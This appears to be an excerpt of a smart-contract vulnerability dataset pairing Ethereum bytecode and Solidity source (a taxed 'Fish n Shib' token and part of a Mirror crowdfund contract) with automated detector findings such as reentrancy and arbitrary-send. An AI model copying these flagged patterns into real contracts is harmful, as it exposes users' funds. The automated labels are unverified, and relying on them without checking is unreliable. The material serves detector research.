481600160a060020a030219169083600160a060020a03160217905550611201565b5b60019092019161115e565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112c857600080fd5b6112d183610ad5565b15610813576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156113735780601f1061134857610100808354040283529160200191611373565b820191906000526020600020905b81548152906001019060200180831161135657829003601f168201915b505091505060006040518083038185876187965a03f192505050156113c457827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610813565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561141e57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114a992916020019061157d565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511610813576000838152602090206108139181019083016115fc565b5b505050565b815481835581811511610813576000838152602090206108139181019083016115fc565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115be57805160ff19168380011785556115eb565b828001600101855582156115eb579182015b828111156115eb5782518255916020019190600101906115d0565b5b506115f89291506115fc565b5090565b610c8291905b808211156115f85760008155600101611602565b5090565b905600a165627a7a723058205e23cdb52ef78e08f92bf9923c72e8c7088cd5982f99bda0df535f06ccaaed770029
|
{"success": true, "error": null, "results": {}}
| 8,621 |
0x66ef9fca5a58412704b5efb31b94b8ea9ba3f877
|
/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
//https://t.me/fishnshib
// FISHSHIBFISHSHI
// SFISHSHIBFISHSHIBFISH F
// ISHS ISSFISHSHIBFISHSHIB FI
// SHSHIB FISHSHIBFISHSHIBFISS FIS
// HSHIBFISHSHIBFISHSHIBFISHSHIBFISH SHIB
// FISHSHIBFISHSHIBFISHSHIBFISHSHIB FISHS
// SSFISHSHIBFISHSHIBFISHSHIBFISHSHIBF
// ISHSHIBFISHSHIBFISHSHIBFISHSHIBF ISHSH
// SSFISHSHIBFISHSHIBFISHSHIBFISHSHI SFIS
// HSHIBFISHSHIBFISHSHIBFISHSHIB FIS
// HSHIBFISHSHIBFISHSHIBFISHS IS
// SFISHSHIBFISHSHIBFISH S
// ISSFISHSHIBFISHS
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FISHNSHIB
is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"Fish n Shib";
string public constant symbol = unicode"FISHNSHIB";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (4 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < 12 && sell < 12 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063b2289c621161008a578063db92dbb611610064578063db92dbb6146104de578063dcb0e0ad146104f3578063dd62ed3e14610513578063e8078d941461055957600080fd5b8063b2289c6214610494578063c3c8cd80146104b4578063c9567bf9146104c957600080fd5b80638da5cb5b116100c65780638da5cb5b1461040157806394b8d8f21461041f57806395d89b411461043f578063a9059cbb1461047457600080fd5b806370a08231146103ac578063715018a6146103cc57806373f54a11146103e157600080fd5b8063313ce5671161015957806345596e2e1161013357806345596e2e1461032957806349bd5a5e14610349578063590f897e146103815780636fc3eaec1461039757600080fd5b8063313ce567146102d657806332d873d8146102fd57806340b9a54b1461031357600080fd5b806318160ddd1161019557806318160ddd146102665780631940d0201461028b57806323b872dd146102a157806327f3a72a146102c157600080fd5b806306fdde03146101c7578063095ea7b3146102145780630b78f9c01461024457600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101fe6040518060400160405280600b81526020016a2334b9b410371029b434b160a91b81525081565b60405161020b9190611557565b60405180910390f35b34801561022057600080fd5b5061023461022f3660046115c1565b61056e565b604051901515815260200161020b565b34801561025057600080fd5b5061026461025f3660046115ed565b610584565b005b34801561027257600080fd5b50670de0b6b3a76400005b60405190815260200161020b565b34801561029757600080fd5b5061027d600c5481565b3480156102ad57600080fd5b506102346102bc36600461160f565b610631565b3480156102cd57600080fd5b5061027d610685565b3480156102e257600080fd5b506102eb600981565b60405160ff909116815260200161020b565b34801561030957600080fd5b5061027d600d5481565b34801561031f57600080fd5b5061027d60095481565b34801561033557600080fd5b50610264610344366004611650565b610695565b34801561035557600080fd5b50600854610369906001600160a01b031681565b6040516001600160a01b03909116815260200161020b565b34801561038d57600080fd5b5061027d600a5481565b3480156103a357600080fd5b5061026461075b565b3480156103b857600080fd5b5061027d6103c7366004611669565b610768565b3480156103d857600080fd5b50610264610783565b3480156103ed57600080fd5b506102646103fc366004611669565b6107f7565b34801561040d57600080fd5b506000546001600160a01b0316610369565b34801561042b57600080fd5b50600e546102349062010000900460ff1681565b34801561044b57600080fd5b506101fe604051806040016040528060098152602001682324a9a42729a424a160b91b81525081565b34801561048057600080fd5b5061023461048f3660046115c1565b610865565b3480156104a057600080fd5b50600754610369906001600160a01b031681565b3480156104c057600080fd5b50610264610872565b3480156104d557600080fd5b50610264610888565b3480156104ea57600080fd5b5061027d610a79565b3480156104ff57600080fd5b5061026461050e366004611694565b610a91565b34801561051f57600080fd5b5061027d61052e3660046116b1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561056557600080fd5b50610264610b0e565b600061057b338484610d13565b50600192915050565b6000546001600160a01b031633146105b75760405162461bcd60e51b81526004016105ae906116ea565b60405180910390fd5b600c821080156105c75750600c81105b80156105d4575060095482105b80156105e15750600a5481105b6105ea57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061063e848484610e37565b6001600160a01b038416600090815260036020908152604080832033845290915281205461066d908490611735565b905061067a853383610d13565b506001949350505050565b600061069030610768565b905090565b6000546001600160a01b031633146106bf5760405162461bcd60e51b81526004016105ae906116ea565b6007546001600160a01b0316336001600160a01b0316146106df57600080fd5b6000811161071f5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064016105ae565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761076581611220565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146107ad5760405162461bcd60e51b81526004016105ae906116ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461081757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610750565b600061057b338484610e37565b600061087d30610768565b90506107658161125e565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105ae906116ea565b600e5460ff16156108ff5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105ae565b60065461091f9030906001600160a01b0316670de0b6b3a7640000610d13565b6006546001600160a01b031663f305d719473061093b81610768565b6000806109506000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109b8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109dd919061174c565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5a919061177a565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b600854600090610690906001600160a01b0316610768565b6000546001600160a01b03163314610abb5760405162461bcd60e51b81526004016105ae906116ea565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610750565b6000546001600160a01b03163314610b385760405162461bcd60e51b81526004016105ae906116ea565b600e5460ff1615610b855760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105ae565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190611797565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7f9190611797565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ccc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf09190611797565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610d755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ae565b6001600160a01b038216610dd65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ae565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610e7957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9557503360009081526005602052604090205460ff16155b610e9e57600080fd5b6001600160a01b038316610f025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ae565b6001600160a01b038216610f645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ae565b60008111610fc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ae565b600080546001600160a01b03858116911614801590610ff357506000546001600160a01b03848116911614155b156111c1576008546001600160a01b03858116911614801561102357506006546001600160a01b03848116911614155b801561104857506001600160a01b03831660009081526004602052604090205460ff16155b156110da57600e5460ff1661109f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016105ae565b42600d5460f06110af91906117b4565b11156110d657600c546110c184610768565b6110cb90846117b4565b11156110d657600080fd5b5060015b600e54610100900460ff161580156110f45750600e5460ff165b801561110e57506008546001600160a01b03858116911614155b156111c157600061111e30610768565b905080156111aa57600e5462010000900460ff16156111a157600b5460085460649190611153906001600160a01b0316610768565b61115d91906117cc565b61116791906117eb565b8111156111a157600b546008546064919061118a906001600160a01b0316610768565b61119491906117cc565b61119e91906117eb565b90505b6111aa8161125e565b4780156111ba576111ba47611220565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061120357506001600160a01b03841660009081526004602052604090205460ff165b1561120c575060005b61121985858584866113d2565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561125a573d6000803e3d6000fd5b5050565b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a2576112a261180d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131f9190611797565b816001815181106113325761133261180d565b6001600160a01b0392831660209182029290920101526006546113589130911684610d13565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611391908590600090869030904290600401611823565b600060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006113de83836113f4565b90506113ec86868684611418565b505050505050565b600080831561141157821561140c5750600954611411565b50600a545b9392505050565b60008061142584846114f5565b6001600160a01b038816600090815260026020526040902054919350915061144e908590611735565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461147e9083906117b4565b6001600160a01b0386166000908152600260205260409020556114a081611529565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e591815260200190565b60405180910390a3505050505050565b60008080606461150585876117cc565b61150f91906117eb565b9050600061151d8287611735565b96919550909350505050565b306000908152600260205260409020546115449082906117b4565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561158457858101830151858201604001528201611568565b81811115611596576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076557600080fd5b600080604083850312156115d457600080fd5b82356115df816115ac565b946020939093013593505050565b6000806040838503121561160057600080fd5b50508035926020909101359150565b60008060006060848603121561162457600080fd5b833561162f816115ac565b9250602084013561163f816115ac565b929592945050506040919091013590565b60006020828403121561166257600080fd5b5035919050565b60006020828403121561167b57600080fd5b8135611411816115ac565b801515811461076557600080fd5b6000602082840312156116a657600080fd5b813561141181611686565b600080604083850312156116c457600080fd5b82356116cf816115ac565b915060208301356116df816115ac565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156117475761174761171f565b500390565b60008060006060848603121561176157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178c57600080fd5b815161141181611686565b6000602082840312156117a957600080fd5b8151611411816115ac565b600082198211156117c7576117c761171f565b500190565b60008160001904831182151516156117e6576117e661171f565b500290565b60008261180857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118735784516001600160a01b03168352938301939183019160010161184e565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122048a4483cd2318a4ed59c908a8dab0feedcad107b1826f63a40d7402b86de8ac764736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,622 |
0x8E88565A67398d72EE2d045170279d75b0Bb0095
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.5;
/**
* @title TieredCrowdfundStorage
* @author MirrorXYZ
*/
contract TieredCrowdfundStorage {
// The two states that this contract can exist in. "FUNDING" allows
// contributors to add funds.
enum Status {FUNDING, TRADING}
// ============ Constants ============
// The factor by which ETH contributions will multiply into crowdfund tokens.
uint16 internal constant TOKEN_SCALE = 1000;
uint256 internal constant REENTRANCY_NOT_ENTERED = 1;
uint256 internal constant REENTRANCY_ENTERED = 2;
uint8 public constant decimals = 18;
// ============ Immutable Storage ============
// The operator has a special role to change contract status.
address payable public operator;
address payable public fundingRecipient;
// We add a hard cap to prevent raising more funds than deemed reasonable.
uint256 public fundingCap;
// The operator takes some equity in the tokens, represented by this percent.
uint256 public operatorPercent;
string public symbol;
string public name;
// ============ Mutable Storage ============
// Represents the current state of the campaign.
Status public status;
uint256 internal reentrancy_status;
// ============ Mutable ERC20 Attributes ============
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public nonces;
// ============ Delegation logic ============
address public logic;
// ============ Tiered Campaigns ============
// Address of the editions contract to purchase from.
address public editions;
}
// File contracts/interface/ICrowdfundEditions.sol
interface ICrowdfundEditions {
struct Edition {
// The maximum number of tokens that can be sold.
uint256 quantity;
// The price at which each token will be sold, in ETH.
uint256 price;
// The account that will receive sales revenue.
address payable fundingRecipient;
// The number of tokens sold so far.
uint256 numSold;
bytes32 contentHash;
}
struct EditionTier {
// The maximum number of tokens that can be sold.
uint256 quantity;
// The price at which each token will be sold, in ETH.
uint256 price;
bytes32 contentHash;
}
function buyEdition(uint256 editionId, address recipient)
external
payable
returns (uint256 tokenId);
function editionPrice(uint256 editionId) external view returns (uint256);
function createEditions(
EditionTier[] memory tier,
// The account that should receive the revenue.
address payable fundingRecipient,
address minter
) external;
function contractURI() external view returns (string memory);
}
// File contracts/TieredCrowdfundLogic.sol
/**
* @title TieredCrowdfundLogic
* @author MirrorXYZ
*
* Crowdfund the creation of NFTs by issuing ERC20 tokens that
* can be redeemed for the underlying value of the NFT once sold.
*/
contract TieredCrowdfundLogic is TieredCrowdfundStorage {
// ============ Events ============
event ReceivedERC721(uint256 tokenId, address sender);
event Contribution(address contributor, uint256 amount);
event ContributionForEdition(
address contributor,
uint256 amount,
uint256 editionId,
uint256 tokenId
);
event FundingClosed(uint256 amountRaised, uint256 creatorAllocation);
event BidAccepted(uint256 amount);
event Redeemed(address contributor, uint256 amount);
// ERC20 Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
// ============ Modifiers ============
/**
* @dev Modifier to check whether the `msg.sender` is the operator.
* If it is, it will run the function. Otherwise, it will revert.
*/
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(reentrancy_status != REENTRANCY_ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
reentrancy_status = REENTRANCY_ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
reentrancy_status = REENTRANCY_NOT_ENTERED;
}
// ============ Crowdfunding Methods ============
/**
* @notice Mints tokens for the sender propotional to the
* amount of ETH sent in the transaction.
* @dev Emits the Contribution event.
*/
function contribute(
address payable backer,
uint256 editionId,
uint256 amount
) external payable nonReentrant {
require(status == Status.FUNDING, "Crowdfund: Funding must be open");
require(amount == msg.value, "Crowdfund: Amount is not value sent");
// This first case is the happy path, so we will keep it efficient.
// The balance, which includes the current contribution, is less than or equal to cap.
if (address(this).balance <= fundingCap) {
// Mint equity for the contributor.
_mint(backer, valueToTokens(amount));
// Editions start at 1, so a "0" edition means the user wants to contribute without
// purchasing a token.
if (editionId > 0) {
emit ContributionForEdition(
backer,
amount,
editionId,
buyEdition(amount, editionId, backer)
);
} else {
emit Contribution(backer, amount);
}
} else {
// Compute the balance of the crowdfund before the contribution was made.
uint256 startAmount = address(this).balance - amount;
// If that amount was already greater than the funding cap, then we should revert immediately.
require(
startAmount < fundingCap,
"Crowdfund: Funding cap already reached"
);
// Otherwise, the contribution helped us reach the funding cap. We should
// take what we can until the funding cap is reached, and refund the rest.
uint256 eligibleAmount = fundingCap - startAmount;
// Otherwise, we process the contribution as if it were the minimal amount.
_mint(backer, valueToTokens(eligibleAmount));
if (editionId > 0) {
emit ContributionForEdition(
backer,
eligibleAmount,
editionId,
// Attempt to purchase edition with eligible amount.
buyEdition(eligibleAmount, editionId, backer)
);
} else {
emit Contribution(backer, eligibleAmount);
}
// Refund the sender with their contribution (e.g. 2.5 minus the diff - e.g. 1.5 = 1 ETH)
sendValue(backer, amount - eligibleAmount);
}
}
/**
* @notice Burns the sender's tokens and redeems underlying ETH.
* @dev Emits the Redeemed event.
*/
function redeem(uint256 tokenAmount) external nonReentrant {
// Prevent backers from accidently redeeming when balance is 0.
require(
address(this).balance > 0,
"Crowdfund: No ETH available to redeem"
);
// Check
require(
balanceOf[msg.sender] >= tokenAmount,
"Crowdfund: Insufficient balance"
);
require(status == Status.TRADING, "Crowdfund: Funding must be trading");
// Effect
uint256 redeemable = redeemableFromTokens(tokenAmount);
_burn(msg.sender, tokenAmount);
// Safe version of transfer.
sendValue(payable(msg.sender), redeemable);
emit Redeemed(msg.sender, redeemable);
}
/**
* @notice Returns the amount of ETH that is redeemable for tokenAmount.
*/
function redeemableFromTokens(uint256 tokenAmount)
public
view
returns (uint256)
{
return (tokenAmount * address(this).balance) / totalSupply;
}
function valueToTokens(uint256 value) public pure returns (uint256 tokens) {
tokens = value * TOKEN_SCALE;
}
function tokensToValue(uint256 tokenAmount)
internal
pure
returns (uint256 value)
{
value = tokenAmount / TOKEN_SCALE;
}
// ============ Operator Methods ============
/**
* @notice Transfers all funds to operator, and mints tokens for the operator.
* Updates status to TRADING.
* @dev Emits the FundingClosed event.
*/
function closeFunding() external onlyOperator nonReentrant {
require(status == Status.FUNDING, "Crowdfund: Funding must be open");
// Close funding status, move to tradable.
status = Status.TRADING;
// Mint the operator a percent of the total supply.
uint256 operatorTokens =
(operatorPercent * totalSupply) / (100 - operatorPercent);
_mint(operator, operatorTokens);
// Announce that funding has been closed.
emit FundingClosed(address(this).balance, operatorTokens);
// Transfer all funds to the fundingRecipient.
sendValue(fundingRecipient, address(this).balance);
}
// ============ Utility Methods ============
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
// ============ ERC20 Spec ============
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply + value;
balanceOf[to] = balanceOf[to] + value;
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from] - value;
totalSupply = totalSupply - value;
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from] - value;
balanceOf[to] = balanceOf[to] + value;
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
